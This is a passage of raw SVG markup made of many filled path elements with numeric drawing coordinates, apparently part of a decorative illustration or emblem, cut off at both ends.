d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-